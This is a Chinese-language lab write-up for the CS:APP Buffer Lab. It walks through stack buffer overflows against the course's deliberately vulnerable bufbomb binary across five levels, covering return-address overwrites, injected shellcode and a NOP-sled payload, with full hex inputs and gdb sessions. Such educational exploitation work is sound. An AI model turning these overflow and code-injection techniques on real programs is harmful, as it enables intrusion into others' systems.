Skip to content

CS:APP Lab 3 解题报告

Dec 21, 2017 | 31 min read

Lab 3,即为 Buffer Lab,在这个 Lab 里面,我们需要通过构造字符串来改变程序的运行行为,最终解决全部问题。

实验大致流程

在实验中以 “./bufbomb -u <用户id>“指令运行程序,之后 bufbomb 会要求你输入一个字符串,我们需要写出十六进制机器码,之后通过”./hex2raw < <输入文件> > <输出文件>“将之输出为对应的字符串,最后,使用输入重定向将之定向到 bufbomb 程序中,以此解决问题。

前期准备

同 Lab 2,我们首先需要对 bufbomb 进行反汇编操作,指令如下:

objdump -d ./bufbomb > bufbomb.S

笔者的环境为 Ubuntu 17.10。

Level 0: Candle

本关中,我们的任务就是在使test()函数中调用的getbuf()函数返回时候不返回到test()函数,而是转而执行smoke()函数。test()函数的代码如下:

void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();

val = getbuf();

/* Check for corrupted stack */
if (local != uniqueval()) {
    printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
    printf("Boom!: getbuf returned 0x%x\n", val);
    validate(3);
} else {
    printf("Dud: getbuf returned 0x%x\n", val);
}
}

我们要做的就是在第 7 行执行时直接改变getbuf()的返回地址。要想达成这个任务,我们先看getbuf()函数的反汇编:

0804913f <getbuf>:
 804913f:	55                   	push   %ebp
 8049140:	89 e5                	mov    %esp,%ebp
 8049142:	83 ec 34             	sub    $0x34,%esp
 8049145:	8d 45 d8             	lea    -0x28(%ebp),%eax
 8049148:	50                   	push   %eax
 8049149:	e8 4c fb ff ff       	call   8048c9a <Gets>
 804914e:	b8 01 00 00 00       	mov    $0x1,%eax
 8049153:	c9                   	leave  
 8049154:	c3                   	ret    

我们可以知道,getbuf()的栈帧大小为0x34,gets()的缓冲区大小为0x28,不难推出此函数的返回地址在($ebp + 0x4)上,因此我们需要输入44字节的字符,之后输入我们需要的返回地址,在反汇编文本中,我们不难看到smoke()的地址为08048bd2。至此,我们可以构造答案(注意数据的表示法):

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 d2 8b 04 08

进行测试:

name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <smoke.txt | ./bufbomb -u xxxxxxxxxx
Userid: xxxxxxxxxxx
Cookie: 0xxxxxxxxx
Type string:Smoke!: You called smoke()
VALID
NICE JOB!

答案正确!

Level 1: Sparkler

我们的目标和 Level 0类似,不过这次我们需要调用的是fizz()函数,在实验手册里,我们知道fizz()的代码为:

void fizz(int val)
{
    if (val == cookie) {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    } else
        printf("Misfire: You called fizz(0x%x)\n", val);
    exit(0);
}

我们不只要把调用函数,还要把我们的cookie作为参数传进去。有了上一题的经验,我们知道只需要多写 8 个字节,后四个字节为 cookie (注意表示法)即可成功调用这个函数,因此答案如下:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 fa 8b 04 08 00 00
00 00 61 41 63 24

进行测试:

name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <fizz.txt | ./bufbomb -u xxxxxxxxxx
Userid: xxxxxxxxxx
Cookie: 0xxxxxxxxx
Type string:Fizz!: You called fizz(0x24634161)
VALID
NICE JOB!

完美!

Level 2: Firecracker

目标和之前两个类似,不过这次需要篡改的是全局变量。

直接看bang()函数的代码:

int global_value = 0;
void bang(int val)
{
    if (global_value == cookie) {
        printf("Bang!: You set global_value to 0x%x\n", global_value);
        validate(2);
    } else
        printf("Misfire: global_value = 0x%x\n", global_value);
    exit(0);
}

看来,我们需要篡改全局变量 global_value 的值为我们的 cookie 才可以。

要想篡改全局变量,直接使用之前的技巧是不可能实现的,因此我们需要新的方法。即在字符串中写入我们自己的代码,然后篡改getbuf()的返回值到我们自己写的代码,即可完成目标。

思路有了,就可以开始动手啦~

首先,找出我们的字符串存储的地址。看getbuf()的反汇编码:

0804913f <getbuf>:
 804913f:	55                   	push   %ebp
 8049140:	89 e5                	mov    %esp,%ebp
 8049142:	83 ec 34             	sub    $0x34,%esp
 8049145:	8d 45 d8             	lea    -0x28(%ebp),%eax
 8049148:	50                   	push   %eax
 8049149:	e8 4c fb ff ff       	call   8048c9a <Gets>
 804914e:	b8 01 00 00 00       	mov    $0x1,%eax
 8049153:	c9                   	leave  
 8049154:	c3                   	ret    

噢呦,在 0x8049145 那里,字符串的地址直接出现在 eax 寄存器中了,我们在那里设断点,即可得到我们字符串存储的地址。操作如下:

(gdb) b *0x8049148
Breakpoint 1 at 0x8049148
(gdb) r -u 2017302376
Starting program: /home/name1e5s/buflab-handout/bufbomb -u 2017302376
Userid: 2017302376
Cookie: 0x24634161

Breakpoint 1, 0x08049148 in getbuf ()
(gdb) i r
eax            0x556834c8	1432892616
ecx            0x6308ec46	1661529158
edx            0x0	0
ebx            0x0	0
esp            0x556834bc	0x556834bc <_reserved+1037500>
ebp            0x556834f0	0x556834f0 <_reserved+1037552>
esi            0x55686580	1432905088
edi            0x1	1
eip            0x8049148	0x8049148 <getbuf+9>
eflags         0x212	[ AF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

现在得出字符串的存储位置为 0x556834c8 。

之后使用nm指令获取global_value的存储位置:

name1e5s@ubuntu:~/buflab-handout$ nm -A bufbomb | grep global_value
bufbomb:0804d138 B global_value

得知存储位置为 0x0804d138。有了这些内容,我们就可以开写汇编了,代码如下:

mov $0x24634161,%eax     ;将id复制给 eax 寄存器
mov %eax,0x804d138       ;将 eax 的值复制给 global_value
push $0x08048c49         ;将 bang()函数的地址压入栈
ret                      ;返回,并跳转到bang()函数

之后进行编译,反汇编:

name1e5s@ubuntu:~/buflab-handout$ gcc -m32 -c fxxkbang.S 
name1e5s@ubuntu:~/buflab-handout$ objdump -d fxxkbang.o

fxxkbang.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 61 41 63 24       	mov    $0x24634161,%eax
   5:	a3 38 d1 04 08       	mov    %eax,0x804d138
   a:	68 49 8c 04 08       	push   $0x8048c49
   f:	c3                   	ret    

这样我们就拿到了机器码,将之写入字符串,并使用前两个 Level 中的技巧跳转到字符串的首地址,答案如下:

b8 61 41 63 24 a3 38 d1 04 08
68 49 8c 04 08 c3 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 c8 34 68 55

进行测试:

name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <bang.txt | ./bufbomb -u xxxxxxxxxx
Userid: xxxxxxxxxx
Cookie: 0xxxxxxxxx
Type string:Bang!: You set global_value to 0x24634161
VALID
NICE JOB!

Bravo !至此,前三关已经完美完成。

Level 3: Dynamite

本关我们的目标是把我们的 cookie 作为 test()的返回值,同时还得恢复各个寄存器的值,使得test()函数不知道我们已经悄悄修改了返回值。

要想恢复现场,首先我们得知道我们搞溢出攻击时修改了哪些寄存器。先让当我们从 -0x28(%ebp) 一路压到 0x4(%ebp),自然%ebp被覆盖了,因此我们需要恢复 %ebp 的值。要想恢复 %ebp 的值,我们得先知道在那段时间里,%ebp 应该是什么值,现在先使用 gdb 查看我们需要恢复的值:

(gdb) b *0x8048d64 #此处为test函数里调用getbuf()函数之后的一条指令的地址
Breakpoint 1 at 0x8048d64
(gdb) r -u 2017302376
Starting program: /home/name1e5s/buflab-handout/bufbomb -u xxxxxxxxxx
Userid: xxxxxxxxxx
Cookie: 0xxxxxxxxx
Type string:Fuck you

Breakpoint 1, 0x08048d64 in test ()
(gdb) i r
eax            0x1	1
ecx            0x37	55
edx            0xa	10
ebx            0x0	0
esp            0x556834f8	0x556834f8 <_reserved+1037560>
ebp            0x55683510	0x55683510 <_reserved+1037584>
esi            0x55686580	1432905088
edi            0x1	1
eip            0x8048d64	0x8048d64 <test+20>
eflags         0x246	[ PF ZF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

可以看到本来的数值应该为0x55683510,现在使用上一关的套路,开始写代码:

mov $0x24634161,%eax ;把我们的 cookie 设为返回值
mov $0x55683510,%ebp ;恢复寄存器的值
push $0x8048d64      ;恢复执行test()函数
ret                  ;结束运行

经过编译反汇编,修饰后,得到答案:

b8 61 41 63 24 bd 10 35 68 55
68 64 8d 04 08 c3 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 c8 34 68 55

进行测试:

name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <test.txt | ./bufbomb -u xxxxxxxxxx
Userid: xxxxxxxxxx
Cookie: 0xxxxxxxxx
Type string:Boom!: getbuf returned 0x24634161
VALID
NICE JOB!

好,答案正确~

Level 4: Nitroglycerin

终于来到最后一关,本关在执行过程中需要加 “-n”参数,程序的运行也不再调用 test 函数而是转而调用函数。本关我们的目标是返回调用 5 次 testn 时 getn 返回五次我们的 cookie 给 testn。听上去和上一关的任务类似,但是这次因为每次调用的栈地址都不一样,我们无法直接使用 gdb 求出每次返回的地址,只能通过分析代码来求地址。

先看 testn() 函数的开头:

08048dc5 <testn>:
 8048dc5:	55                   	push   %ebp
 8048dc6:	89 e5                	mov    %esp,%ebp
 8048dc8:	53                   	push   %ebx
 8048dc9:	83 ec 14             	sub    $0x14,%esp
 8048dcc:	e8 64 ff ff ff       	call   8048d35 <uniqueval>
 8048dd1:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048dd4:	e8 7c 03 00 00       	call   8049155 <getbufn>

可以知道 %ebp = %esp + 0x18,现在可以写代码啦:

mov $0x24634161,%eax   ;将cookie写入返回值
lea 0x18(%esp),%ebp    ;恢复作案现场
push $0x8048dd9        ;返回到testn的下一条指令
ret

之后进行编译反汇编操作,拿到机器码:

name1e5s@ubuntu:~/buflab-handout$ gcc -m32 -c fxxktestn.S 
name1e5s@ubuntu:~/buflab-handout$ objdump -d fxxktestn.o

fucktestn.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 61 41 63 24       	mov    $0x24634161,%eax
   5:	8d 6c 24 18          	lea    0x18(%esp),%ebp
   9:	68 d9 8d 04 08       	push   $0x8048dd9
   e:	c3                   	ret    

现在我们需要确定的就是返回地址,因为返回地址是动态的,我们难以正确的找出每次的返回值,这里我们引入经典的 NOP slide 方法来处理这个问题。在填充nop指令之前,我们还需要知道具体需要填充多少字节字符。由 getbufn() 中的

 804915e:	8d 85 f8 fd ff ff    	lea    -0x208(%ebp),%eax

我们知道我们需要填充的字节数为 0x208 + 0x4 = 524 个,下一步就是确定返回位置,并将其写在那 524 个字符之后。返回位置应该大于字符串的首地址,打开gdb 查看读入字符串的首地址。共5次操作,因此我们也读 5 次:

(gdb) b *0x804915e
Breakpoint 1 at 0x804915e
(gdb) r -n -u 2017302376
Starting program: /home/name1e5s/buflab-handout/bufbomb -n -u 2017302376
Userid: 2017302376
Cookie: 0x24634161

Breakpoint 1, 0x0804915e in getbufn ()
(gdb) i r
eax            0x78d28c5f	2027064415
ecx            0x78d28c5f	2027064415
edx            0x0	0
ebx            0x1	1
esp            0x556832dc	0x556832dc <_reserved+1037020>
ebp            0x556834f0	0x556834f0 <_reserved+1037552>
esi            0x55686580	1432905088
edi            0x5	5
eip            0x804915e	0x804915e <getbufn+9>
eflags         0x212	[ AF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99
(gdb) p /x 0x556834f0 - 0x208
$1 = 0x556832e8
(gdb) p /x $ebp - 0x208
$2 = 0x556832e8
(gdb) c
Continuing.
Type string:F
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x0804915e in getbufn ()
(gdb) p
$3 = (void *) 0x556832e8 <_reserved+1037032>
(gdb) p /x $ebp - 0x208
$4 = 0x556832d8
(gdb) c
Continuing.
Type string:415
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x0804915e in getbufn ()
(gdb) p /x $ebp - 0x208
$5 = 0x55683268
(gdb) c
Continuing.
Type string:5
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x0804915e in getbufn ()
(gdb) p /x $ebp - 0x208
$6 = 0x55683348
(gdb) c
Continuing.
Type string:e
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x0804915e in getbufn ()
(gdb) p /x $ebp - 0x208
$7 = 0x55683298
(gdb) c
Continuing.
Type string:ee
Dud: getbufn returned 0x1
Better luck next time
[Inferior 1 (process 1935) exited normally]

稳妥起见,我们选择最高的数字作为返回值,因此我们构造的答案如下:

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 b8
61 41 63 24 8d 6c 24 18 68 d9
8d 04 08 c3 48 33 68 55

因为我们共需要输入5次字符串,因此我们将此答案复制 5 次,每次的末尾都加上”\n”,也就是 0a,来实现换行功能,因此,最终的答案如下:

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 b8
61 41 63 24 8d 6c 24 18 68 d9
8d 04 08 c3 48 33 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 b8
61 41 63 24 8d 6c 24 18 68 d9
8d 04 08 c3 48 33 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 b8
61 41 63 24 8d 6c 24 18 68 d9
8d 04 08 c3 48 33 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 b8
61 41 63 24 8d 6c 24 18 68 d9
8d 04 08 c3 48 33 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 b8
61 41 63 24 8d 6c 24 18 68 d9
8d 04 08 c3 48 33 68 55

进行测试:

name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <testn | ./bufbomb -n -u xxxxxxxxxx
Userid: xxxxxxxxxx
Cookie: 0xxxxxxxxx
Type string:KABOOM!: getbufn returned 0x24634161
Keep going
Type string:KABOOM!: getbufn returned 0x24634161
Keep going
Type string:KABOOM!: getbufn returned 0x24634161
Keep going
Type string:KABOOM!: getbufn returned 0x24634161
Keep going
Type string:KABOOM!: getbufn returned 0x24634161
VALID
NICE JOB!

对啦~

到此为止,此实验算是结束。

与上一个实验相比,本实验更侧重对于写汇编码解决问题的练习,有了上一个实验的铺垫,处理本实验的问题也不算太难。解决这类实验收获的不只是技能,还能收获一份成就感。